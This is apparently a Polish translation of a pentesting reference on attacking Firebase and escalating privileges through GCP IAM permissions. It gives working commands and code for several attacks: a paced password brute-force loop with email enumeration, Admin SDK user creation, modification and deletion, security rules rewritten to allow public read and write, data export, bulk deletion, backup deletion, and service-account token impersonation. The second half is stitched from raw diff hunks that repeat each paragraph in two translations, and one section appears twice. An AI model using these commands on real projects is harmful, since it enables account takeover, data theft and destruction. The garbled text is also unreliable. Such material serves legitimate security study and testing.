Jeśli funkcja nie waliduje poprawnie danych wejściowych, atakujący może spróbować innych ataków, takich jak code injection lub command injection.
### Brute-force attack against Firebase Authentication with a weak password policy
Aby przeprowadzić ten atak, atakujący nie potrzebuje żadnych specyficznych uprawnień w Firebase. Wystarczy, że Firebase API Key jest ujawniony w aplikacjach mobilnych lub webowych oraz że polityka haseł nie została skonfigurowana z surowszymi wymaganiami niż domyślne.
Atakujący musi zidentyfikować Firebase API Key, który można odnaleźć poprzez reverse engineering aplikacji mobilnej, analizę plików konfiguracyjnych takich jak google-services.json lub GoogleService-Info.plist, przeglądanie kodu źródłowego aplikacji webowych (np. w bootstrap.js) lub analizę ruchu sieciowego.
Firebase Authentications REST API uses the endpoint:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
to authenticate with email and password.
Jeśli Email Enumeration Protection jest wyłączona, odpowiedzi API mogą ujawniać, czy dany email istnieje w systemie (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), co pozwala atakującym na enumerację użytkowników przed próbami odgadywania haseł. Jeśli ta ochrona jest włączona, API zwraca ten sam komunikat błędu dla nieistniejących adresów email i nieprawidłowych haseł, uniemożliwiając enumerację użytkowników.
Ważne jest, że Firebase Authentication stosuje rate limiting, który może blokować żądania, jeśli zbyt wiele prób uwierzytelnienia nastąpi w krótkim czasie. Z tego powodu atakujący musiałby wprowadzać opóźnienia między próbami, aby uniknąć zablokowania przez rate limiting.
Atakujący identyfikuje API Key i wykonuje próby logowania z wieloma hasłami przeciwko znanym kontom. Jeśli Email Enumeration Protection jest wyłączona, atakujący może enumerować istniejących użytkowników, analizując odpowiedzi API:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'
```
Jeśli odpowiedź zawiera EMAIL_NOT_FOUND, e-mail nie istnieje w systemie. Jeśli zawiera INVALID_PASSWORD, e-mail istnieje, ale hasło jest nieprawidłowe, co potwierdza, że użytkownik jest zarejestrowany. Gdy zostanie zidentyfikowany prawidłowy użytkownik, atakujący może przeprowadzić brute-force. Ważne jest, aby wprowadzać przerwy między próbami, aby uniknąć mechanizmów rate-limiting w Firebase Authentication:
```bash
counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi
# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done
```
Przy domyślnej polityce haseł (minimum 6 znaków, brak wymagań dotyczących złożoności) atakujący może próbować wszystkich możliwych kombinacji haseł 6-znakowych, co stanowi stosunkowo małą przestrzeń poszukiwań w porównaniu do surowszych polityk haseł.
### Zarządzanie użytkownikami w Firebase Authentication
Aby przeprowadzić ten atak, atakujący potrzebuje określonych uprawnień Firebase Authentication. Wymagane uprawnienia to:
- `firebaseauth.users.create` do tworzenia użytkowników
- `firebaseauth.users.update` do modyfikowania istniejących użytkowników
- `firebaseauth.users.delete` do usuwania użytkowników
- `firebaseauth.users.get` do pobierania informacji o użytkownikach
- `firebaseauth.users.sendEmail` do wysyłania e-maili do użytkowników
- `firebaseauth.users.createSession` do tworzenia sesji użytkowników
Te uprawnienia są zawarte w roli `roles/firebaseauth.admin`, która przyznaje pełny dostęp do odczytu/zapisu do zasobów Firebase Authentication. Są one również uwzględnione w rolach wyższego poziomu, takich jak roles/firebase.developAdmin (który obejmuje wszystkie uprawnienia firebaseauth.*) oraz roles/firebase.admin (pełny dostęp do wszystkich usług Firebase).
Aby użyć Firebase Admin SDK, atakujący musiałby mieć dostęp do poświadczeń konta usługi (plik JSON), które mogą być znalezione na skompromitowanych systemach, publicznie ujawnionych repozytoriach kodu, skompromitowanych systemach CI/CD lub w wyniku przejęcia kont deweloperów mających dostęp do tych poświadczeń.
Pierwszym krokiem jest skonfigurowanie Firebase Admin SDK przy użyciu poświadczeń konta usługi.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Aby utworzyć złośliwego użytkownika przy użyciu adresu e-mail ofiary, atakujący spróbuje użyć Firebase Admin SDK, aby wygenerować nowe konto na ten adres.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Aby zmodyfikować istniejącego użytkownika, atakujący zaktualizowałby pola takie jak adres e-mail, status weryfikacji lub czy konto jest wyłączone.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Aby usunąć konto użytkownika i spowodować denial of service, atakujący wysłałby żądanie całkowitego usunięcia użytkownika.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Atakujący może również uzyskać informacje o istniejących użytkownikach, żądając ich UID lub adresu e-mail.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Dodatkowo atakujący mógłby wygenerować linki weryfikacyjne lub linki do resetowania hasła, aby zmienić hasło i uzyskać dostęp do konta użytkownika.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Zarządzanie użytkownikami w Firebase Authentication
Atakujący potrzebuje konkretnych uprawnień Firebase Authentication, aby przeprowadzić ten atak. Wymagane uprawnienia to:
- `firebaseauth.users.create` — do tworzenia użytkowników
- `firebaseauth.users.update` — do modyfikacji istniejących użytkowników
- `firebaseauth.users.delete` — do usuwania użytkowników
- `firebaseauth.users.get` — do pobierania informacji o użytkowniku
- `firebaseauth.users.sendEmail` — do wysyłania e-maili do użytkowników
- `firebaseauth.users.createSession` — do tworzenia sesji użytkownika
Te uprawnienia są zawarte w roli roles/firebaseauth.admin, która przyznaje pełny dostęp do odczytu/zapisu do zasobów Firebase Authentication. Stanowią one także część ról wyższego poziomu, takich jak `roles/firebase.developAdmin` (która zawiera wszystkie uprawnienia firebaseauth.*) oraz `roles/firebase.admin` (pełny dostęp do wszystkich usług Firebase).
Aby użyć Firebase Admin SDK, atakujący musiałby mieć dostęp do poświadczeń konta serwisowego (plik JSON), które mogą być pozyskane z kompromitowanych systemów, publicznie udostępnionych repozytoriów kodu, kompromitowanych środowisk CI/CD lub poprzez przejęcie kont deweloperów mających dostęp do tych poświadczeń.
Pierwszym krokiem jest skonfigurowanie Firebase Admin SDK przy użyciu poświadczeń konta serwisowego.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Aby utworzyć złośliwy user wykorzystując victims email, attacker spróbuje założyć nowe user account z tym adresem, przypisując własny password oraz informacje profilowe.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Aby zmodyfikować istniejącego użytkownika, atakujący zmieniłby pola takie jak adres e-mail, status weryfikacji lub to, czy konto jest wyłączone.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Aby usunąć konto użytkownika — efektywnie powodując denial of service — atakujący wysłałby żądanie trwałego usunięcia tego użytkownika.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Atakujący mógłby również uzyskać informacje o istniejących użytkownikach, takie jak ich UID lub email, żądając szczegółów użytkownika albo po UID, albo po adresie email.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Dodatkowo atakujący może wygenerować linki weryfikacyjne lub linki do resetowania hasła, co umożliwi mu zmianę hasła użytkownika i przejęcie kontroli nad kontem.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Modyfikacja reguł bezpieczeństwa w usługach Firebase
Atakujący potrzebuje określonych uprawnień, aby modyfikować reguły bezpieczeństwa w zależności od usługi. Dla Cloud Firestore i Firebase Cloud Storage wymagane są uprawnienia `firebaserules.rulesets.create` (do tworzenia rulesetów) oraz `firebaserules.releases.create` (do wdrażania releases). Te uprawnienia są zawarte w roli `roles/firebaserules.admin` lub w rolach wyższego poziomu, takich jak `roles/firebase.developAdmin` i `roles/firebase.admin`. Dla Firebase Realtime Database wymagane uprawnienie to `firebasedatabase.instances.update`.
Atakujący musi użyć Firebase REST API, aby zmodyfikować reguły bezpieczeństwa.
Najpierw atakujący musi uzyskać access token, używając service account credentials.
Aby uzyskać access token:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
Aby zmodyfikować reguły Firebase Realtime Database:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'
```
Aby zmodyfikować reguły Cloud Firestore, atakujący musi utworzyć ruleset, a następnie go wdrożyć:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
Poprzednie polecenie zwraca nazwę ruleset w formacie projects/<project-id>/rulesets/<ruleset-id>. Aby wdrożyć nową wersję, release musi zostać zaktualizowany przy użyciu żądania PATCH:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
Aby zmodyfikować reguły Firebase Cloud Storage:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
Poprzednie polecenie zwraca nazwę rulesetu w formacie projects/<project-id>/rulesets/<ruleset-id>. Aby wdrożyć nową wersję, release musi zostać zaktualizowany przy użyciu żądania PATCH:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
### Data exfiltration and manipulation in Cloud Firestore
Cloud Firestore używa tej samej infrastruktury i systemu uprawnień co Cloud Datastore, więc uprawnienia Datastore IAM mają bezpośrednie zastosowanie do Firestore. Aby modyfikować polityki TTL, wymagane jest uprawnienie `datastore.indexes.update`. Aby eksportować dane, wymagane jest uprawnienie `datastore.databases.export`. Aby importować dane, wymagane jest uprawnienie datastore.databases.import. Aby wykonać masowe usuwanie danych, wymagane jest uprawnienie `datastore.databases.bulkDelete`.
Do operacji tworzenia kopii zapasowych i przywracania potrzebne są konkretne uprawnienia:
- `datastore.backups.get` i `datastore.backups.list` do listowania i pobierania szczegółów dostępnych kopii zapasowych
- `datastore.backups.delete` do usuwania kopii zapasowych
- `datastore.backups.restoreDatabase` do przywracania bazy danych z kopii zapasowej
- `datastore.backupSchedules.create` i `datastore.backupSchedules.delete` do zarządzania harmonogramami kopii zapasowych
Kiedy tworzona jest polityka TTL, wybierana jest wskazana właściwość, która identyfikuje encje kwalifikujące się do usunięcia. Właściwość TTL musi być typu Date and time. Atakujący może wybrać właściwość, która już istnieje, lub wskazać właściwość, którą planuje dodać później. Jeśli wartość pola jest datą z przeszłości, dokument staje się kwalifikujący się do natychmiastowego usunięcia. Atakujący może użyć gcloud CLI do manipulowania politykami TTL.
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
Aby wyeksportować dane i przeprowadzić ich egzfiltrację, atakujący może użyć gcloud CLI.
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
Aby zaimportować złośliwe dane:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
Aby przeprowadzić masowe usunięcie danych i spowodować denial of service, atakujący może użyć gcloud Firestore bulk-delete tool, aby usunąć całe kolekcje.
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
W operacjach związanych z backupem i przywracaniem atakujący może tworzyć scheduled backups, aby uchwycić bieżący stan bazy danych, listować istniejące backups, przywracać (restore) z backupu w celu nadpisania ostatnich zmian, usuwać backups powodując trwałą utratę danych oraz usuwać scheduled backups.
Aby utworzyć codzienny harmonogram scheduled backups, który natychmiast wygeneruje backup:
```bash
gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>
```
Aby przywrócić z konkretnej kopii zapasowej, atakujący może utworzyć nową bazę danych, korzystając z danych zawartych w tej kopii. Operacja przywracania zapisuje dane kopii zapasowej w nowej bazie danych, co oznacza, że istniejący DATABASE_ID nie może być użyty.
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
```
Aby usunąć kopię zapasową i spowodować trwałą utratę danych:
```bash
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Kradzież i nadużycie poświadczeń Firebase CLI
Atakujący nie potrzebuje specjalnych uprawnień Firebase, aby przeprowadzić ten atak, ale musi mieć dostęp do lokalnego systemu dewelopera lub do pliku poświadczeń Firebase CLI. Te poświadczenia są przechowywane w pliku JSON znajdującym się w:
- Linux/macOS: ~/.config/configstore/firebase-tools.json
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
Plik ten zawiera tokeny uwierzytelniające, w tym refresh_token i access_token, które pozwalają atakującemu uwierzytelnić się jako użytkownik, który pierwotnie uruchomił firebase login.
Atakujący uzyskuje dostęp do pliku poświadczeń Firebase CLI. Może skopiować cały plik na swój system, a Firebase CLI automatycznie użyje poświadczeń z domyślnej lokalizacji. Po wykonaniu tej czynności atakujący może zobaczyć wszystkie projekty Firebase dostępne dla tego użytkownika.
```bash
firebase projects:list
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,54 +12,51 @@ Więcej informacji o IAM znajdziesz w:
### `iam.roles.update` (`iam.roles.get`)
Atakujący posiadający wymienione uprawnienia będzie mógł zaktualizować rolę przypisaną tobie i przyznać ci dodatkowe uprawnienia do innych zasobów, takich jak:
<details><summary>Zaktualizuj rolę IAM, aby dodać uprawnienia</summary>
Atakujący z wymienionymi uprawnieniami będzie mógł zaktualizować rolę przypisaną tobie i nadać dodatkowe uprawnienia do innych zasobów, takich jak:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
</details>
Możesz znaleźć skrypt do automatyzacji **creation, exploit and cleaning of a vuln environment here** oraz skrypt w Pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Możesz znaleźć skrypt automatyzujący **tworzenie, exploit i czyszczenie środowiska vuln tutaj** oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
Uprawnienie iam.roles.create pozwala na tworzenie ról niestandardowych w projekcie/organizacji. W rękach atakującego jest to niebezpieczne, ponieważ umożliwia zdefiniowanie nowych zestawów uprawnień, które mogą później zostać przypisane do podmiotów (na przykład przy użyciu uprawnienia iam.serviceAccounts.setIamPolicy) w celu eskalacji uprawnień.
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
Atakujący z wymienionymi uprawnieniami będzie w stanie **request an access token that belongs to a Service Account**, więc możliwe jest zażądanie access tokena Service Account posiadającego więcej uprawnień niż nasze.
<details><summary>Impersonate service account to get access token</summary>
Atakujący posiadający wymienione uprawnienia będzie mógł **request an access token that belongs to a Service Account**, więc możliwe jest uzyskanie access tokenu Service Account o większych uprawnieniach niż nasze.
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
</details>
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) oraz skrypt w Pythonie do wykorzystania tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Aby uzyskać więcej informacji, sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
Atakujący z wymienionymi uprawnieniami będzie mógł **create a user-managed key for a Service Account**, co pozwoli nam uzyskać dostęp do GCP jako ten Service Account.
<details><summary>Utwórz klucz Service Account i uwierzytelnij się</summary>
Atakujący z wymienionymi uprawnieniami będzie w stanie **utworzyć klucz zarządzany przez użytkownika dla Service Account**, co pozwoli nam uzyskać dostęp do GCP jako ten Service Account.
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
</details>
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) oraz skrypt w Pythonie do wykorzystania tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Możesz znaleźć skrypt do zautomatyzowania [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) oraz skrypt w Pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Zwróć uwagę, że **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA, ponieważ do tego wymagane jest również uprawnienie `iam.serviceAccountKeys.create`.
Zwróć uwagę, że **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA ponieważ do tego potrzebne jest również uprawnienie `iam.serviceAccountKeys.create`.
### `iam.serviceAccounts.implicitDelegation`
Jeśli masz uprawnienie **`iam.serviceAccounts.implicitDelegation`** na Service Account, który ma uprawnienie **`iam.serviceAccounts.getAccessToken`** na trzeci Service Account, możesz użyć implicitDelegation, aby **utworzyć token dla tego trzeciego Service Account**. Poniżej diagram, który to wyjaśnia.
Jeśli masz uprawnienie **`iam.serviceAccounts.implicitDelegation`** na Service Account, który ma uprawnienie **`iam.serviceAccounts.getAccessToken`** na trzecim Service Account, możesz użyć implicitDelegation, aby **create a token for that third Service Account**. Poniżej diagram wyjaśniający.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
Zwróć uwagę, że zgodnie z [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacja `gcloud` działa tylko do wygenerowania tokenu przy użyciu metody [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Poniżej pokazano, jak uzyskać token, używając bezpośrednio API:
<details><summary>Generowanie tokenu dostępu z delegacją przy użyciu API</summary>
Zwróć uwagę, że zgodnie z [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacja `gcloud` działa tylko do wygenerowania tokena przy użyciu metody [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Poniżej jak uzyskać token korzystając bezpośrednio z API:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -70,27 +67,23 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
</details>
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Możesz znaleźć skrypt do automatyzacji [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) oraz skrypt w Pythonie do nadużycia tego przywileju [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
Atakujący z wymienionymi uprawnieniami będzie mógł **podpisywać dowolne payloads w GCP**. W efekcie będzie możliwe **utworzenie niepodpisanego JWT dla SA, a następnie wysłanie go jako blob, aby uzyskać podpis JWT** przez docelowe SA. Aby uzyskać więcej informacji [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Atakujący z wymienionymi uprawnieniami będzie w stanie **podpisać dowolne payloady w GCP**. Oznacza to, że będzie możliwe **utworzenie niepodpisanego JWT należącego do SA, a następnie wysłanie go jako blob, aby uzyskać podpis JWT** przez docelowy SA. Więcej informacji znajdziesz [**tutaj**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Możesz znaleźć skrypt do automatyzacji [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) oraz skrypt w Pythonie do nadużycia tego przywileju [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
Atakujący z wymienionymi uprawnieniami będzie mógł **podpisywać prawidłowo sformatowane JSON web tokens (JWTs)**. Różnica w stosunku do poprzedniej metody polega na tym, że **zamiast zmuszać google do podpisania bloba zawierającego JWT, używamy metody signJWT, która oczekuje już JWT**. To ułatwia użycie, ale pozwala podpisać tylko JWT zamiast dowolnych bajtów.
Atakujący z wymienionymi uprawnieniami będzie mógł **podpisać prawidłowo sformowane JSON Web Tokeny (JWT)**. Różnica w stosunku do poprzedniej metody polega na tym, że **zamiast sprawiać, by google podpisał blob zawierający JWT, używamy metody signJWT, która od razu oczekuje JWT**. Ułatwia to użycie, ale pozwala podpisać tylko JWT, zamiast dowolnych bajtów.
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Możesz znaleźć skrypt do automatyzacji [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) oraz skrypt w Pythonie do nadużycia tego przywileju [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
Atakujący z wymienionymi uprawnieniami będzie mógł **dodać polityki IAM do kont usługowych**. Można to wykorzystać, aby **przyznać sobie** uprawnienia potrzebne do podszycia się pod konto usługi. W poniższym przykładzie przyznajemy sobie rolę `roles/iam.serviceAccountTokenCreator` nad interesującym SA:
<details><summary>Dodaj wiązanie polityki IAM do konta usługowego</summary>
Atakujący z wymienionymi uprawnieniami będzie mógł **dodać polityki IAM do service accounts**. Można to wykorzystać, aby **przyznać sobie** uprawnienia potrzebne do impersonacji service account. W poniższym przykładzie przyznajemy sobie rolę `roles/iam.serviceAccountTokenCreator` nad interesującym SA:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -101,55 +94,45 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
</details>
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
Uprawnienie **iam.serviceAccounts.actAs** jest podobne do uprawnienia **iam:PassRole** z AWS. Jest niezbędne do wykonywania zadań, takich jak uruchamianie instancji Compute Engine, ponieważ daje możliwość "actAs" Service Account, zapewniając bezpieczne zarządzanie uprawnieniami. Bez tego użytkownicy mogą uzyskać nadmierny dostęp. Dodatkowo wykorzystanie **iam.serviceAccounts.actAs** obejmuje różne metody, z których każda wymaga zestawu uprawnień, w przeciwieństwie do innych metod, które potrzebują tylko jednego.
